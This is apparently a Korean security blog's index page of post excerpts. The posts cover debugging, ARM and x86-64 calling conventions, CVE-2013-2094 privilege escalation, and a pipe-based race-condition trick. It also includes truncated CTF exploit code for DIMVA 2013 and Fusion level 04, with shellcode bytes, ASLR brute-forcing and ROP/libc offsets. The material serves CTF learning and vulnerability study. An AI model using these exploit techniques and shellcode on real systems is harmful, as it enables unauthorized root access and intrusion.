본문 바로가기

Computer Security

gdb automatic attach python script import osimport sys if os.getuid() != 0: print "[-] You are not root" sys.exit(-1) if len(sys.argv) = 0: try: pid = outputs[i].split(None)[1] except: i -= 1 continue if int(pid) 더보기
ARM에서의 argument 전달방식 r0 - first argumentr1 - second argumentr2 - third argumentr3 - fourth argument[sp, #0] - fifth argument[sp, #4] - 6-th argument[sp, #8] - 7-th argument[sp, #12] - 8-th argument func(1,2,3,4,5,6,7,8)을 콜했을때의 objdump 내용: 000083e0 : 83e0: b580 push {r7, lr} 83e2: b084 sub sp, #16 83e4: af04 add r7, sp, #16 83e6: 2305 movs r3, #5 83e8: 9300 str r3, [sp, #0] 83ea: 2306 movs r3, #6 83ec: 9301 str r3, [.. 더보기
IDA pro ARM <-> Thumb Switch ARM 바이너리를 디버깅 하다보면, ARM(Code 32)와 Thumb(Code 16)모드가 동시에 존재한다. Bx 명령어가 실행되면, 옵코드를 읽는 모드가 변경된다( ARM -> Thumb or Thumb -> ARM) 가끔, IDA가 이걸 캐치하지 못하고, ARM을 Thumb로, 혹은 Thumb를 ARM으로 읽으려 하는 상황이 생기는데, 그럴때는 ALT - G 를 누른후, T의 값을 1로 해주면, 해당코드는 Thumb로 읽게 되고,T의 값을 0으로 해주면, ARM으로 읽게된다. 더보기
ELF-64bit 에서 argument 전달방식 gcc 기준, ELF 32bit에서는 (%esp),0x4(%esp), ... 에 넣어서 넘기는 방식인데, ELF64에서는 레지스터에 넣어서 넘긴다.아직도 헷갈린다. rdi : 첫번째인자rsi: 두번째인자rdx: 세번째인자rcx: 네번째인자r8: 다섯번째인자r9: 여섯번째인자(%rsp): 일곱번째인자0x8(%rsp): 여덟번째인자... 더보기
Whitehat Contest 개인전 예선 보고서 그 외에 stalking은 DNS검색해서 나온 전화번호를 구글링하면 어떤 블로그가 나왔다고 하고, 포렌식은 그냥 atuopsy로 열면 바로 답이 나왔다. 더보기
CVE-2013-2094 리눅스 로컬권한상승 취약점 원래 제대로 깊게 분석해보려고 했는데... 급 귀찮음을 느껴서 단순히 소개만.. 이 취약점은 2013년 5월 14일에 발표되었다.그래서, 현재 대부분의 기본 커널에서 적용되는 취약점이다.(Ubuntu 13.04 64bit에서도 확인해보았는데, 루트가 따였다.)상당히 심각한 취약점이니, 꼭 패치를 해야한다. tunz@ubuntu:~/cve-2013-2094$ cat /etc/os-releaseNAME="Ubuntu"VERSION="13.04, Raring Ringtail"...tunz@ubuntu:~/cve-2013-2094$ uname -aLinux ubuntu 3.8.0-19-generic #29-Ubuntu SMP Wed Apr 17 18:16:28 UTC 2013 x86_64 x86_64 x86_6.. 더보기
Race Condition one-shot exploit 레이스컨디션도 한번에 성공시킬수 있는 트릭들이 몇가지 있다.아래의 코드는 그 트릭중 하나인, PIPE를 이용한 exploit이다.PIPE를 가득채운후, stderr를 그 파이프에 연결해둔다.이렇게되면, 어떤 에러메세지가 뜰때, 파이프가 꽉차있기때문에 그 에러메세지를 버퍼에 넣지 못해고 잠깐 멈추게 된다.멈춰있는동안 파일 바꿔치기 작업을 여유롭게 해주고 다시 버퍼를 읽어서, 프로그램을 진행시키면 된다.(꼭 실행직전이 아니라도, 실행도중 stdout의 길이에 따라서 멈춘다던가 하는 방법이 가능) 참고: http://dividead.wordpress.com/2009/07/21/blocking-between-execution-and-main/ #include #include #include #include #i.. 더보기
[DIMVA 2013] pwn 200 exploit 같은 문제에, NX만 없애고, 더이상 레지스터를 보여주지 않는다.이건, pwn 100에서 딴 쉘을 이용해서 풀었다.pwn 100에서, "objdump -T ????/libc.so.6 | grep system" 명령어와 "ldd"명령어를 통해 system 주소의 처음 2바이트와 마지막 3바이트를 알아냈다. (첫 2바이트는 f7, 뒤 3바이트는 430)ASLR은 중간 3바이트에만 걸리기때문에, 해당부분은 브루트포싱을 해서 구해낸다. 아래는 익스플로잇(주석은 stage1으로, 시스템 주소를 알아내는 작업, 그 후에는 주석처리를 한 후 원하는 커맨드를 입력한다.) from socket import * from struct import * import hashlib import time for i in range.. 더보기
[DIMVA 2013] pwn 100 exploit NX가 걸려있지 않았고, 레지스트를 보여줬다.그래서 그냥 해당 주소에 쉘코드를 넣고, EIP를 그쪽으로 우회하면 된다. from struct import * import hashlib import time import sys s = socket(AF_INET, SOCK_STREAM) s.connect(('dimvactf.0x90.eu',1116)) raw_input('go?') s.settimeout(2) s.recv(1024) fd = 4 shellcode = "\x31\xc9\xb1\x02\x31\xdb\xb3\x41\x31\xc0\xb0\x3f\xcd\x80\x49\x79\xf7" # dup2 shellcode = shellcode.replace("\x41", chr(fd)) # ./msfvenom.. 더보기
[exploit-exercises] Fusion level 04 from socket import * import time import base64 from struct import * base_addr = 0xb782970d - 0x170d # get from stack smashing information libc_base = 0xb7698113 - 0xf3 - 0x19020 # get from stack smashing information read = base_addr + 0xd20 system = libc_base + 0x3cb20 pppr = base_addr + 0x19ba bss = base_addr + 0x4240 + 0x300 # password check """ lists = range(ord('0'),ord('9')+1) + range(ord('.. 더보기